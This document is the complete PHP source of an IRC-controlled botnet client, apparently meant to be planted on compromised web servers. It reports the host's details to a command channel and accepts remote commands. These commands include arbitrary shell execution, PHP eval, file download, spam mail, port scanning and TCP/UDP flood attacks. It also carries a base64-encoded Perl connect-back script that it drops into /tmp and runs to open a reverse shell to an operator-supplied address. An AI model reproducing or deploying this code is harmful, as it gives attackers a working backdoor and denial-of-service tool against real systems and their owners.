```
<?

/*
 *
 *  #crew@corp. since 2003a
 *  edited by: devil__ <admin@xdevil.org>
 *
 *  COMMANDS:
 *
 *  .user <password> //login to the bot
 *  .logout //logout of the bot
 *  .die //kill the bot
 *  .restart //restart the bot
 *  .mail <to> <from> <subject> <msg> //send an email
 *  .dns <IP|HOST> //dns lookup
 *  .download <URL> <filename> //download a file
 *  .exec <cmd> // uses exec() //execute a command
 *  .sexec <cmd> // uses shell_exec() //execute a command
 *  .cmd <cmd> // uses popen() //execute a command
 *  .info //get system information
 *  .php <php code> // uses eval() //execute php code
 *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood
attack
 *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 *  .raw <cmd> //raw IRC command
 *  .rndnick //change nickname
 *  .pscan <host> <port> //port scan
 *  .safe  // test safe_mode (dvl)
 *  .inbox <to> // test inbox (dvl)
 *  .conback <ip> <port> // conect back (dvl)
 *  .uname // return shell's uname using a php function (dvl)
 *
 */

set_time_limit(0);
error_reporting(0);
echo "ok!";

class pBot
{
 var $config = array("server"=>"irc.webchat.org",
                     "port"=>"7000",
                     "pass"=>"",
                     "prefix"=>"NKD",
                     "maxrand"=>"4",
                     "chan"=>"#asdasd",
                     "chan2"=>"#",
                     "key"=>"",
                     "modes"=>"+p",
                     "password"=>"senha",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname (remember:
/setvhost xdevil.org)
                     );
```

```
 var $users = array();
 function start()
 {
    if(!($this->conn = fsockopen($this->config['server'],$this-
>config['port'],$e,$s,30)))
       $this->start();
    $ident = $this->config['prefix'];
    $alph = range("0","9");
    for($i=0;$i<$this->config['maxrand'];$i++)
       $ident .= $alph[rand(0,9)];
    if(strlen($this->config['pass'])>0)
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
    $this->set_nick();
    $this->main();
 }
 function main()
 {
    while(!feof($this->conn))
    {
       $this->buf = trim(fgets($this->conn,512));
       $cmd = explode(" ",$this->buf);
       if(substr($this->buf,0,6)=="PING :")
       {
          $this->send("PONG :".substr($this->buf,6));
       }
       if(isset($cmd[1]) && $cmd[1] =="001")
       {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);
          $this->join($this->config['chan'],$this->config['key']);
          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode"))
== "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
          $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname
(safe: $safemode)");
          $this->privmsg($this->config['chan2'],"[\2vuln!\2]:
http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
       }
       if(isset($cmd[1]) && $cmd[1]=="433")
       {
          $this->set_nick();
       }
       if($this->buf != $old_buf)
       {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
```

```
            {
             for($i=0;$i<count($msgcmd);$i++)
                $mcmd[$i] = $msgcmd[$i+1];
            }
            else
            {
             for($i=0;$i<count($msgcmd);$i++)
                $mcmd[$i] = $msgcmd[$i];
            }
            if(count($cmd)>2)
            {
               switch($cmd[1])
               {
                  case "QUIT":
                     if($this->is_logged_in($host))
                     {
                        $this->log_out($host);
                     }
                  break;
                  case "PART":
                     if($this->is_logged_in($host))
                     {
                        $this->log_out($host);
                     }
                  break;
                  case "PRIVMSG":
                     if(!$this->is_logged_in($host) && ($vhost == $this-
>config['hostauth'] || $this->config['hostauth'] == "*"))
                     {
                        if(substr($mcmd[0],0,1)==".")
                        {
                           switch(substr($mcmd[0],1))
                           {
                              case "user":
                                if($mcmd[1]==$this->config['password'])
                                {
                                   $this->log_in($host);
                                }
                                else
                                {
                                   $this->notice($this-
>config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
                                }
                              break;
                           }
                        }
                     }
                     elseif($this->is_logged_in($host))
                     {
                        if(substr($mcmd[0],0,1)==".")
                        {
                           switch(substr($mcmd[0],1))
                           {
                              case "restart":
```

```
                                $this->send("QUIT :restart commando from
$nick");
                                fclose($this->conn);
                                $this->start();
                             break;
                             case "mail": //mail to from subject message
                                if(count($mcmd)>4)
                                {
                                   $header = "From: <".$mcmd[2].">";

if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
                                   {
                                      $this->privmsg($this-
>config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
                                   }
                                   else
                                   {
                                      $this->privmsg($this-
>config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
                                   }
                                }
                             break;
                             case "safe":
                                if (@ini_get("safe_mode") or
strtolower(@ini_get("safe_mode")) == "on")
                                {
                                $safemode = "on";
                                }
                                else {
                                $safemode = "off";
                                }
                                $this->privmsg($this-
>config['chan'],"[\2safe mode\2]: ".$safemode."");
                             break;
                             case "inbox": //teste inbox
                                if(isset($mcmd[1]))
                                {
                                   $token = md5(uniqid(rand(), true));
                                   $header = "From:
<inbox".$token."@xdevil.org>";
                                   $a = php_uname();
                                   $b = getenv("SERVER_SOFTWARE");
                                   $c =
gethostbyname($_SERVER["HTTP_HOST"]);
                                   if(!mail($mcmd[1],"InBox
Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a
\nvuln:
http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz:
wicked\nby: dvl <admin@xdevil.org>",$header))
                                   {
                                      $this->privmsg($this-
>config['chan'],"[\2inbox\2]: Unable to send");
                                   }
                                   else
```

```
                                    {
                                       $this->privmsg($this-
>config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
                                    }
                                 }
                              break;
                              case "conback":
                                 if(count($mcmd)>2)
                                 {
                                    $this->conback($mcmd[1],$mcmd[2]);
                                 }
                              break;
                              case "dns":
                                 if(isset($mcmd[1]))
                                 {
                                    $ip = explode(".",$mcmd[1]);
                                    if(count($ip)==4 && is_numeric($ip[0])
&& is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
                                    {
                                       $this->privmsg($this-
>config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
                                    }
                                    else
                                    {
                                       $this->privmsg($this-
>config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
                                    }
                                 }
                              break;
                              case "info":
                              case "vunl":
                                 if (@ini_get("safe_mode") or
strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                                 else { $safemode = "off"; }
                                 $uname = php_uname();
                                 $this->privmsg($this-
>config['chan'],"[\2info\2]: $uname (safe: $safemode)");
                                 $this->privmsg($this-
>config['chan'],"[\2vuln\2]:
http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
                              break;
                              case "bot":
                                 $this->privmsg($this-
>config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
                              break;
                              case "uname":
                                 if (@ini_get("safe_mode") or
strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                                 else { $safemode = "off"; }
                                 $uname = php_uname();
                                 $this->privmsg($this-
>config['chan'],"[\2info\2]: $uname (safe: $safemode)");
                              break;
                              case "rndnick":
```

```
                                $this->set_nick();
                             break;
                             case "raw":
                                $this->send(strstr($msg,$mcmd[1]));
                             break;
                             case "eval":
                               $eval =
eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                             break;
                                  case "sexec":
                                $command =
substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                $exec = shell_exec($command);
                                $ret = explode("\n",$exec);
                                for($i=0;$i<count($ret);$i++)
                                   if($ret[$i]!=NULL)
                                      $this->privmsg($this-
>config['chan']," : ".trim($ret[$i]));
                             break;

                             case "exec":
                                $command =
substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                $exec = exec($command);
                                $ret = explode("\n",$exec);
                                for($i=0;$i<count($ret);$i++)
                                   if($ret[$i]!=NULL)
                                      $this->privmsg($this-
>config['chan']," : ".trim($ret[$i]));
                             break;

                             case "passthru":
                                $command =
substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                $exec = passthru($command);
                                $ret = explode("\n",$exec);
                                for($i=0;$i<count($ret);$i++)
                                   if($ret[$i]!=NULL)
                                      $this->privmsg($this-
>config['chan']," : ".trim($ret[$i]));
                             break;

                             case "popen":
                                if(isset($mcmd[1]))
                                {
                                   $command =
substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                   $this->privmsg($this-
>config['chan'],"[\2popen\2]: $command");
                                   $pipe = popen($command,"r");
                                   while(!feof($pipe))
                                   {
                                      $pbuf = trim(fgets($pipe,512));
                                      if($pbuf != NULL)
```

```
                                        $this->privmsg($this-
>config['chan']," : $pbuf");
                                    }
                                    pclose($pipe);
                                }

                            case "system":
                                $command =
substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                $exec = system($command);
                                $ret = explode("\n",$exec);
                                for($i=0;$i<count($ret);$i++)
                                    if($ret[$i]!=NULL)
                                        $this->privmsg($this-
>config['chan']," : ".trim($ret[$i]));
                                break;


                            case "pscan": // .pscan 127.0.0.1 6667
                                if(count($mcmd) > 2)
                                {

if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
                                        $this->privmsg($this-
>config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
                                    else
                                        $this->privmsg($this-
>config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
                                }
                                break;
                            case "ud.server": // .ud.server <server>
<port> [password]
                                if(count($mcmd)>2)
                                {
                                    $this->config['server'] = $mcmd[1];
                                    $this->config['port'] = $mcmd[2];
                                    if(isset($mcmcd[3]))
                                    {
                                     $this->config['pass'] = $mcmd[3];
                                     $this->privmsg($this-
>config['chan'],"[\2update\2]: Server trocado para
".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
                                    }
                                    else
                                    {
                                        $this->privmsg($this-
>config['chan'],"[\2update\2]: Server trocado para
".$mcmd[1].":".$mcmd[2]);
                                    }
                                }
                                break;
                            case "download":
                                if(count($mcmd) > 2)
                                {
```

```
                                    if(!$fp = fopen($mcmd[2],"w"))
                                    {
                                       $this->privmsg($this-
>config['chan'],"[\2download\2]: Nao foi possivel fazer o download.
Permissao negada.");
                                    }
                                    else
                                    {
                                       if(!$get = file($mcmd[1]))
                                       {
                                          $this->privmsg($this-
>config['chan'],"[\2download\2]: Nao foi possivel fazer o download de
\2".$mcmd[1]."\2");
                                       }
                                       else
                                       {
                                          for($i=0;$i<=count($get);$i++)
                                          {
                                             fwrite($fp,$get[$i]);
                                          }
                                          $this->privmsg($this-
>config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para
\2".$mcmd[2]."\2");
                                       }
                                       fclose($fp);
                                    }
                                 }
                                 else { $this->privmsg($this-
>config['chan'],"[\2download\2]: use .download http://your.host/file
/tmp/file"); }
                              break;
                              case "die":
                                 $this->send("QUIT :die command from
$nick");
                                 fclose($this->conn);
                                 exit;
                              case "logout":
                                 $this->log_out($host);
                                 $this->privmsg($this-
>config['chan'],"[\2auth\2]: $nick deslogado!");
                              break;
                              case "udpflood":
                                 if(count($mcmd)>3)
                                 {
                                    $this-
>udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
                                 }
                              break;
                              case "tcpflood":
                                 if(count($mcmd)>5)
                                 {
                                    $this-
>tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                                 }
```

```
                        break;
                     }
                  }
               }
            break;
         }
      }
      $old_buf = $this->buf;
   }
   $this->start();
}
function send($msg)
{
   fwrite($this->conn,"$msg\r\n");

}
function join($chan,$key=NULL)
{
   $this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
   $this->send("PRIVMSG $to :$msg");
}
function notice($to,$msg)
{
   $this->send("NOTICE $to :$msg");
}
function is_logged_in($host)
{
   if(isset($this->users[$host]))
      return 1;
   else
      return 0;
}
function log_in($host)
{
   $this->users[$host] = true;
}
function log_out($host)
{
   unset($this->users[$host]);
}
function set_nick()
{
   if(isset($_SERVER['SERVER_SOFTWARE']))
   {
      if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
         $this->nick = "[A]";
      elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
         $this->nick = "[I]";
      elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
         $this->nick = "[X]";
```

```
      else
         $this->nick = "[U]";
    }
    else
    {
       $this->nick = "[C]";
    }
    $this->nick .= $this->config['prefix'];
    for($i=0;$i<$this->config['maxrand'];$i++)
       $this->nick .= mt_rand(0,9);
    $this->send("NICK ".$this->nick);
 }
  function udpflood($host,$packetsize,$time) {
      $this->privmsg($this->config['chan'],"[\2Pacotando!\2]");
      $packet = "";
      for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
      $timei = time();
      $i = 0;
      while(time()-$timei < $time) {
            $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
            fwrite($fp,$packet);
            fclose($fp);
            $i++;
      }
      $env = $i * $packetsize;
      $env = $env / 1048576;
      $vel = $env / $time;
      $vel = round($vel);
      $env = round($env);
      $this->privmsg($this->config['chan'],"[\2EMPACOTADO!\2]: $env MB
enviados / Media: $vel MB/s ");
}
 function tcpflood($host,$packets,$packetsize,$port,$delay)
 {
    $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error:
<$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
```

```
    $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]:
Config - $packets pacotes para $host:$port.");
 }
 function conback($ip,$port)
 {
    $this->privmsg($this->config['chan'],"[\2conback\2]: tentando
conectando a $ip:$port");
    $dc_source =
"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVj
dCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ
2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bX
BpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiA
oJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVj
dGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua
25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU
0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV
0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwg
JHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0Kc
HJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKF
NURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3Blbih
TVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIg
eCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
    if (is_writable("/tmp"))
    {
      if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
      $fp=fopen("/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /tmp/dc.pl $ip $port &");
      unlink("/tmp/dc.pl");
    }
    else
    {
    if (is_writable("/var/tmp"))
    {
      if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
      $fp=fopen("/var/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /var/tmp/dc.pl $ip $port &");
      unlink("/var/tmp/dc.pl");
    }
    if (is_writable("."))
    {
      if (file_exists("dc.pl")) { unlink("dc.pl"); }
      $fp=fopen("dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl dc.pl $ip $port &");
      unlink("dc.pl");
    }
    }
  }
}

$bot = new pBot;
$bot->start();
```

?>